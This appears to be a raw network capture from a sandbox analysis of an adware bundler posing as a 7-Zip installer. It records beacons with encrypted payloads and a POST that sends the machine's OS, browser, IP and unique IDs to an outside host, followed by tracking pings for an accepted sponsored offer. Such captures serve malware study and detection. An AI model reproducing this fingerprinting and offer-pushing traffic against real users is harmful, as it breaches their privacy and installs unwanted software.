HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:24 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=j7YMo/n29XPJd3Cl8WpRrtI Ab2bIMNX2S2pDyUcChQicvsFwQStENB87jgWTbK//EmjUQkbJhEL2UeWguV4D UcMgmj4Ul bTp5fe1p 748bAtKKDJkZzpohCDelrcGKwcR6VYInl/4c5idw7jB6Y8wSL48Ufj xLoT5lWMa/PHR h8JBQ8j1OLWnXpk/R5GuV/dn5uO 0pLXemSgN3uDG9a/DKr6qx9KBlmzyr2/sc5mdJYKFpKr35aWRD3pvRURWIK/IOe5GYlL8JK0smN7Kn6M9rhxM9VDIH9UXITp6QL2F0hg1RiXtG9 /6Wq VFlFfHj2dEnXOu4xvnbO4b dZEqrqnEnHqrJOcCBCplVg8smq5m/rppX wpBXA2YnZIZGSkQhtJ1 XTIrvDDxtHhbCpftK4kGTllbk/LUu49qgJgciU/U2kREjVY40hPt5Jr/XkhzzZ0FoKnvFozdWATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdDYt3Zg/aKemMB7Kvi1 PdRfV4GNTx99pCL 3iyUFZ9oHKmQIn4hJDvJZeSaF38 3YfJKZ4NCKSCQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:25 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=eISsn0A7mAZMV62Gsz5XOTeelYyjulD662ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ G1NXsmurJNW2BlRaPLwu5y8irQgleEZxgKkdlz1lRob0AS4HDB5HfWjwfqp7MHxFtxZKM/jFkcGZgDV5iy11AJfWoFwL0DiQn1LSEJlWCi6mhalNU5 3QZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQzFmYI5EK 8ZVnoY0sWBvzp/bnwo1KLijIoXsXR5B39M/L695eOYP2 95kQLhjAADPfopz0y2Q7Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 20
15 09:33:25 GMT..Content-Length: 0..

GET /network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:32:13 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z.F.5..<.{..:qH....@...An.x....[R.. HB. ....:..^
.we.Z{W...e;.>.s.".BU..]{\..F..,?]...r2......(....h........."]F..r.
..@.,.yv.l..(X....g..X......?..Q..z....'....b.....T*.n.....E......}.9.
o.R.}..~....Nf.4...E..o\d....^I....W.s1[,O.Q........2=..._...r9......L
...{.r.-..5....<N.O.q.._~.../.......$.x:....".....w....C<OO...a.
..,..{.x.u....f._.r..g..l6]DW..<..:._... ..ON...y..s<xr9....qz9.
a....kO......J.E.9W.ez..'..1k.................."E..l2I.}<t....:..0.
..}l.....4.....-p1.....i/..^...[.>.g......X.....2.....8u.,...l..Ez.
..V..l..%.<.\f}{G...#.;.......4.&..>...Q5..n..`...e...N.m[.<.
.g....-=.dc..md..N.......}..gq.4.]N..O.(...U.S...}.>.E...p..<.`.
^^.....o\.0..NT#..x/s..h`...q...8G<.ap............(.......4..O....t
.pB....s....&-.\`......l:.. @."uM.e..-.0.........t...)M.i...i1.p.S....
....].Z............<.ZX:.2f..C....V~6..J...r>vkA.A...N..w;A..n..
{w.........n....._.<...xg.S...=.~..L.....?....sG....)......NO..B].S
.[j..a...a.%.%... ,..U.......w.4.t.\.... .}]q.E...}.....8.jM..|y.=....
......[....r..so(_...k.g. .w..{.g.ka. fW..~....~...wj.......~<.|...
...|. .3w.........~{......s....w!~.|x..f.5.o6....E:y4...t.H.er$.(...g)
..#.x./R.....M...a......N...x..6..!...?S&$8....o..%N&..^.J.v..... U..}
.....x../..hp9......0i]....|z.A...g...p.[....q,.....].......[H.x.gy.l.
[A .G=.r..r...hg?..l...p9.o...U6h...(J[....}.O...(.........3.y........
........v....e....m...u.&..9.......x..l.P.<..K3o..T.l......Z...m.. 
......p..8.ToE4.-0.x.v.qH.w.f......x.j.t..j....&.x....b.....k.3..7<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Content-Length: 4131

Connection: Keep-Alive

Cache-Control: no-cache

country=UA&uid_orig=554f0c32df4546428c4cd4ba3636f283&uid=554f0c32df4546428c4cd4ba3636f283&affid=network_adworkmedia_1&sid=7zipqjkz&cli_id=&softwareName=7-Zip&installerVersion=2.1&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=96d78f35e7b7ea4fc32736d428df43b4&cu=false&cd=false&tokyo_csrf_key=b41d823a5a2014a01eaac3d98f46a02e&tokyo_csrf_timestamp=1420623133&unique_id=ef16605e62d299cd4043233eed25bb98&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ94jJ7hVTG
HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:32:14 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
f5f.............\ms.6.. 8...BK.../M.q..........U..DB.b.`AR.....g..")J.
..i.t.c.x[,....2o.H..T..K....D&<..2.0.d9.cN.>{......2.yg;....odN
.%j..2.Y..P.,....L..W.....E........-.R., ...'9.....{..Q....c.<.C.b]
...=..X..'Z..Hr.........C^.....=._...Y^...F]......>....r*.r........
.KD.P..Ej...G,.j..Y...K....N.=.. g`.j].3.FL..}.Z.....$U.j.;O.{.#...tb.
....G.A..@p..h..............H.XD....Y... ..yw..{?Cj.B.mv.RN..q....&...
...Y1. Q..$$...@<2..........|.l........{...o.G..A`/.......K=.......
3.;>.>[ohO....4.....k.ed.H....v..C......1mt&....R.......p2.[Le..
.c..O.....R8...w......@.FK.P.P,.....b.Z!.d#I8._..E....../k?..i.6...\..
.@. H(1R.......?....q>....}.i.........p. Pc.YZ......]k.........3...
yI..w..]qv...|...9zl.,..[FG...'. ......{.....{..I.aE.....).`...I7..G{.
..;..C.@.[.G..#A..b.s.Q}.I2i.M.G(.mp./1.]...^.c.M.<=.....@..X.{*O..
..-...A..'..3>...9."...._.A&`.z...f.. ....`pr.....\O....%...].....V
'....*`./S."K..P..mE&t.k#.@&..........A..p.,T`M....).Kb....;..}...*..p
*. 3V.....#|.l....`pr.{.>-&2.g^..y.s.."..]....@..?....!......_.^<
;.....] z.>/G.......nv...R....VI.Lj6"~/..s.)..Xh.9.......n..   KP..
.....G5...SO...o.t.Vgyx..>..V$..._,`..G.......Ho^%N.n<...e..-|..
.....'Q.c..hX...".}.....IL...{g.....?...a.....h&.....Z..te..[Vji.]...Z
.....FI...'......{....l......JR6...;.f..... .....,..{2.)9.,_...t..".%n
....8...,...xk.....7n....)....R\.......c..G....-J.j.......qF.O7.V.o^?)
;.;.C.......3uto.9K.........1..@G69..S2lMG..<.....,...L.T:...B~-...
..}|.d..o..f....qS..C..['.t\?........y..F.i..[.t}7..-.j..'.=.."N\.<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.08074136007073995 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmc=1; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:32:20 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:32:20 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=1&index_in_screen=1&index_in_session=1&0.31860865100654706 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmc=1; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:32:25 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:32:25 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /p.ashx?e=s5Ydxb c7o1WuN7nJmKQv2ixDL7TvdeXs1J ZuGTca14E7mrr1h80sSCFqUzxEuK5pBCt6gYiqqBIBBL/eAnh9cNqW9cpn67YCpHZc9ZUaG/QElqGjn9p9CUHeR8YCF3sp NWI2cIltPikZQYOt/VMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:22 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7d6d1fc7fdee811d2a2df2097d46bc86.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _F1ac7iZoJmRJLJiKZMCrVfGBJkDiAw38eqXC9J9xGevXF1Bu6cT4Q==

....

GET /p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjnisgFVrwdvblBb58xFAMOt6D9UJmzeHXJOIAnSEbDsx0eh4F9DwOExoWNAP4OWMIxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9UpvOoju LNg2oiiVq1SStbMubU ieQ86G2kgoeLKovQKP ZDTcKvaA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:19 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7d6d1fc7fdee811d2a2df2097d46bc86.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -W1t4KcrpKhDCKXHxtEJAB5Sx6VOqc6EYRiRX6A937WyPxk307_OYw==

....

GET /p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjz3HjAX5f3Mu6QVkhmBNubY4G r 3F6T7ABG3Yhoda6vFX/vPL/gxF8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfVKbzqI7vizYNqIolatUkrWzLm1PonkPOhtpIKHiyqL0Cj/mQ03Cr2g= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:22 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7d6d1fc7fdee811d2a2df2097d46bc86.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DRTQtlNd81QlWQ32cPtOlMYLXnUB4F5M-vBPeUQFVuIUI-V4xQbaJg==

....

GET /p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjXMxgqnmmqSQoETtCpwnRwgjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lx0fofCQUPI9Ti1p16ZP0eRrlf3Z bjvtKS13pkoDd7gxvWvwyq qsQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:19 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7d6d1fc7fdee811d2a2df2097d46bc86.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AmZP0kzP81gmUoF94xnFoU8n3sBdEquAlETHAogqgyF52mdtuNuqHA==

....

GET /p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjz3HjAX5f3MvAhSGeG7OvN9JDpDz//pXKODQ8kqa2OFucXyuYdOQyoUg6LfIDXFhBiCHLDEUg0E9NWyUH5fcWODaiKJWrVJK1sy5tT6J5DzobaSCh4sqi9FESmXNcHmbB94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:19 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7d6d1fc7fdee811d2a2df2097d46bc86.cloudfront.net (CloudFront)

X-Amz-Cf-Id: x8op51tY99B3NWxDqZwxQVWSUzt6qH4MaTOCEOynUg84STG0U5OusA==

....

GET /p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjn14WGxPVpt4rhVLDNrJQC44G r 3F6T77w1D5Xws0XapQUt9ysv/LeITGL7aiC8Hk2dyYR17VYOC5WBoetiu1eIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZfDhMTGyxHiH5Qsuno0J09RI381SZA6iXPexrYhFaidDzRzrRm1LbPo= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=eISsn0A7mAY luBT5UotGGixDL7TvdeX/grZOB60hz54E7mrr1h80v8gl1CzC7piUA7dl9owwhLw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQyzkqcReTLpR lWLUtT/Ob8PRD2wFYfQnRkoi1eHNkKrrXIxNf6X/p8CFMPu/XF4Ln0AQg0WKP xjgb6v7cXpPuhdSzxiLx/vE r59xK0qHoZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKgJ5WzhfrS/BOWVuT8tS7j2qAmByJT9TaRESNVjjSE 3flhl0ADTjQw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:20 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7d6d1fc7fdee811d2a2df2097d46bc86.cloudfront.net (CloudFront)

X-Amz-Cf-Id: lzlfPOfJl6ZoCRBiZoucl-PAM5PC-paRfnlJ-fLyAdKCz6fGWE9mgw==

....

GET /p.ashx?e=AZwPyJy3TZihee7pGMSR6WixDL7TvdeX/grZOB60hz54E7mrr1h80v8gl1CzC7piUA7dl9owwhLw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQyzkqcReTLpR lWLUtT/Ob8PRD2wFYfQnRkoi1eHNkKrrXIxNf6X/p8Dnb/eih wEMOMPw026TAYAhwsRGINrugZP44vApXzbXUzDoEq0zofZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKgJ5WzhfrS/BOWVuT8tS7j2qAmByJT9TaRESNVjjSE 3flhl0ADTjQw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:23 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7d6d1fc7fdee811d2a2df2097d46bc86.cloudfront.net (CloudFront)

X-Amz-Cf-Id: PTkCCJoRcPrVBPuuUJI4blWQeq6bv9K0I4Iyqq3aVYE2Cb0z5EMmQA==

....

GET /p.ashx?e=HW4rWVRtARiyUxg71rJbZjvkj3L/PNVa1VMaOJFqXYpp96vRIJy/LjtUHaZBOE lXkiVCkpcmtxTi1p16ZP0eRrlf3Z bjvtKS13pkoDd7gxvWvwyq qsXwF8xC533FcNLVXkHqu5mvqdIulg hEfdcOs/PoB3/p1QHs3X92ilHXt7qcDfFhJwTxIUcsgQ wMnmKw3amnGsFR75 TIbsOWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSoCeVs4X60vwTllbk/LUu49qgJgciU/U2kREjVY40hPt35YZdAA040M= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:20 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7d6d1fc7fdee811d2a2df2097d46bc86.cloudfront.net (CloudFront)

X-Amz-Cf-Id: JYQ4yJCb3x2lIJBeBglhPQkJO2rD5A7pi-J4A70pAG-HTNa99JlwFw==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:33:20 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 7d6d1fc7fdee811d2a2df2097d46bc
86.cloudfront.net (CloudFront)..X-Amz-Cf-Id: JYQ4yJCb3x2lIJBeBglhPQkJO
2rD5A7pi-J4A70pAG-HTNa99JlwFw==......

GET /p.ashx?e=2fVCHF6kf8hPNjxRBLtb46yHr51bRfAK/WD6e6SZIIGq9exvwYRubwRSl12vCJvF5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm6LQ1AVjbz2R b/YhL9w2PTXoMXpqBnYfZiMvKI16LiayBfkdHFoABe6pljsVW0GPgTxIUcsgQ wXg4f2W/FIIe57fKBs7R9TyVbkDkM9cyX4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVl8OExMbLEeIflCy6ejQnT1EjfzVJkDqJc97GtiEVqJ0PNHOtGbUts g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:30 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7d6d1fc7fdee811d2a2df2097d46bc86.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -60TlGIizd-_2_v2GZfbQnFaVZaLh8nlRZybfn5I0pDwZJir7OLpsQ==

....

GET /p.ashx?e=c0XmKevqA0lpQVXlI7MmKf3eoE116PvJQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni kRlTDLtXGXYCpHZc9ZUaGWnHTR1jDHJZGcLghnE/hl7kN6o7do63aXdDw8APThW8D0 GGhAgJQxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9UpvOoju LNg2oiiVq1SStbMubU ieQ86G2kgoeLKovQKP ZDTcKvaA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:33 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7d6d1fc7fdee811d2a2df2097d46bc86.cloudfront.net (CloudFront)

X-Amz-Cf-Id: h42P7Qllcez2YSViwa6GSrWi0fkGuxBlvjzMwOFO80xWT6RwRAL5fA==

GET /pca3.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.verisign.com


HTTP/1.1 200 OK

Server: Apache

ETag: "66304c4a5660ab8615727e6bb27b3cdb:1418950819"

Last-Modified: Fri, 19 Dec 2014 01:00:19 GMT

Date: Wed, 07 Jan 2015 09:37:06 GMT

Content-Length: 933

Connection: keep-alive

Content-Type: application/pkix-crl

0...0...0...*.H........0_1.0...U....US1.0...U....VeriSign, Inc.1705..U
....Class 3 Public Primary Certification Authority..141210000000Z..150
331235959Z0..x0!...v....a_>..2......020924164823Z0!.....A.....{2..Y
.#..140129175709Z0!...,.|.|...<...j ...080605174907Z0!...`y..q.....
..fh...020923171400Z0!...?A....a.nF`.P....020923171548Z0!............R
.e.53..010207212458Z0!..!......Y...ISi....010706171411Z0!..$-..I{r....
u<._...080403172226Z0!..&.."?..y..51}..1..010706172118Z0!..4....2..
..{W......080605175030Z0!..B....c............070411175910Z0!..H.Py...N
....* ....010207212031Z0!..N....-.1Gq.@...C..040401175251Z0!..Y......w
`G........070411175657Z0!..Z`..H.@B....Z.*q..080403172017Z0!..l....I..
.Y..] .c..010706171749Z0"......T=deQ...1u.]...010207212247Z0".....p..1
..7<.....e..010207211822Z0...*.H............5..v...V.._)....A... ..
..>.5]....6.(.0uFW.*:T...6$.....R...Y.N.k........%Jn..I.j*.6.3~...r
../=l..?...9..V0..@Tk......fn?....0.A.HTTP/1.1 200 OK..Server: Apache.
.ETag: "66304c4a5660ab8615727e6bb27b3cdb:1418950819"..Last-Modified: F
ri, 19 Dec 2014 01:00:19 GMT..Date: Wed, 07 Jan 2015 09:37:06 GMT..Con
tent-Length: 933..Connection: keep-alive..Content-Type: application/pk
ix-crl..0...0...0...*.H........0_1.0...U....US1.0...U....VeriSign, Inc
.1705..U....Class 3 Public Primary Certification Authority..1412100000
00Z..150331235959Z0..x0!...v....a_>..2......020924164823Z0!.....A..
...{2..Y.#..140129175709Z0!...,.|.|...<...j ...080605174907Z0!...`y
..q.......fh...020923171400Z0!...?A....a.nF`.P....020923171548Z0!.

<<< skipped >>>

